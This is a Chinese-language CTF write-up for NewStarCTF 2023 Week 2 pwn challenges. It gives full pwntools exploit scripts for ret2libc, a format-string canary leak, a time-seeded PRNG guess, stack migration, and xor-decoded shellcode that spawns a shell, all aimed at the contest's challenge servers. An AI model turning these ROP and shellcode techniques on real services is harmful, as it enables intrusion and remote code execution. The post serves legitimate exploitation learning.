LOADING

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 [WEEK 2] PWN

2023/10/15 CTF PWN NewStarCTF

NewStarCTF 2023 [WEEK 2] PWN

简介:

第二周题目上难度了,有几题做的比较棘手不会做 >_<,啊啊啊!!!


ret2libc

看题目名字 ret2libc,就知道是经典的考点,泄露 libc,不懂小伙伴可以去看这个上面写的很详细 Pwn Pwn Pwn!!! 技巧(1),老规矩查看一下保护机制,只打开 NX,并且该有的都有。

IDA 反编译一下,发现无 system,无 binsh,所以我们只能通过泄露 libc,构造 system 和 binsh。

exp 如下:

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')

# io = process('./111')
io = remote('node4.buuoj.cn', 25664)
elf = ELF('./111')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr = 0x400698
rdi_addr = 0x400763
ret_addr = 0x400506

payload = b'A' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
io.recvuntil(b'Show me your magic again\n')
io.sendline(payload)

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

# put_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
io.recvuntil(b'Show me your magic again\n')

io.sendline(payload)
io.interactive()

canary

一样是一道经典题型 canary,开启了 canary 和 NX,还有格式化字符串漏洞,经典思路就是通过格式字符串去泄露 canary(如果没有格式化字符串漏洞,那只能通过溢出的形式去泄露 canary),但是我们需要在 gdb 里面找到 canary 是第几个参数,运行文件就可以发现偏移是 6。

IDA 反编译一下,你会发现有后门函数,就不需要像上一题一样要自己泄露 libc 了,同时还有格式化字符串漏洞,刚好可以帮我们打印出 canary 的值。

把断点打在 printf,gdb 调试寻找 canary 的值,你就可以发现 canary 是第十一个参数(这个你不会看不出来吧 -_-),接下来就是套路了。

exp 如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./111')
p = remote('node4.buuoj.cn', 27406)
elf = ELF('./111')

backdoor = 0x401262
ret_addr = 0x40101a

payload = b'%11$p'
p.sendline(payload)
p.recvuntil(b'Oh thanks,There is my gift:\n')
canary = int(p.recv(18), 16)

payload = b'a' * (0x30 - 8) + p64(canary) + p64(0) + p64(ret_addr) + p64(backdoor)

p.send(payload)
p.interactive()

secret number

老规矩查看一下保护机制,保护全开看着有点吓人,没事代码审计一下。

认真代码审计,你就会发现只需要让 v5 等于 secret 就可以直接获得 flag,v5 是我们自己输入的,secret 是一个伪随机数,所以我们只需要让时间做种子,输入伪随机数即可。

exp 如下:

python复制编辑from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./111')
p = remote('node4.buuoj.cn', 28725)
elf = ELF('./111')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

seed = libc.time(0)
libc.srand(seed)
num1 = libc.rand()

p.sendlineafter(b'Give me some gift?(0/1)\n', b'0')
p.sendlineafter(b'Guess the number\n', str(num1))
p.interactive()

stack migration

只开启了 NX,IDA 反编译,就会发现存在溢出,但是溢出的长度只有 0x10,不够构造 shellcode,所以只能通过栈迁移来解决这一问题。

IDA 一下,代码审计一下,你会发现往 buf 里面输入数据,然后就会打印出栈地址,然后就是一个细节需要注意(红色框住的),v2 地址就是栈地址 +8(这里你要明白栈是怎么存储数据的,高地址在下,低地址在上,这就是为什么加8的原因),第二个 read 发生了栈溢出,但是溢出的长度不足以构造 rop 链,所以只能进行栈迁移(leave; ret;,leave 相对于是 mov esp, ebp; pop ebp;,ret 是 pop eip;)这样就简单明了了,下面就是需要注意一下接受数据(是否有空格,这里我踩坑了 -_-)。

exp 如下:

python复制编辑from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')

p = remote('node4.buuoj.cn', 26912)
# p = process("./111")
elf = ELF('./111')
libc = ELF('./libc.so.6')

got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
rdi_addr = 0x401333
ret_addr = 0x4012AB
main = 0x4011FB
leave = 0x4012AA

p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack = int(p.recv(14), 16) + 8

p.recvuntil(b'more infomation plz:\n')

payload = b'a'*8 + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main)
payload = payload.ljust(80, b'a')
payload += p64(stack) + p64(leave)
p.send(payload)

p.recvuntil("maybe I'll see you soon!\n")
puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

p.recvuntil(b'name:\n')
p.send(b'a'*8)
p.recvuntil(b'I have a small gift for you: ')
stack = int(p.recv(14), 16) + 8

payload = b'a'*8 + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
payload = payload.ljust(80, b'a')
payload += p64(stack) + p64(leave)
p.send(payload)

p.interactive()

shellcode revenge

查看一下保护机制,开启 NX 和 Canary,IDA 反编译一下,代码审计看的脑壳痛。

把官方 wp 贴这里,后续懂了再来改。

python复制编辑from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote("node4.buuoj.cn", 27904)
# p = process('./shellcodere')

payload = b'\x33\x42\x38' # 33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' # 31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37' # 33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38' # 31 42 38 xor DWORD PTR [rdx+0x38], eax
payload += b'\x59' * (0x30 - len(payload)) # 59 pop rcx
payload += b'\x4e\x44' * 2 # syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A' * 8 # xor key

p.sendlineafter("magic\n", payload)
pause()

p.sendline(b'\x90' * 0x50 + asm(shellcraft.sh()))
p.interactive()

总结:

栈迁移这块还不是很熟悉,shellcode 的相关手法还得继续学习 -_-,还得继续努力啊!!!

⬅ 上一篇
2023年SWPU NSS 秋季招新赛 PWN
2023-10-20  |  | PWN, SWPU NSS
下一篇 ➡
MoeCTF 2023 PWN
2023-10-14  |  | PWN, MoeCTF
0%
Rope Head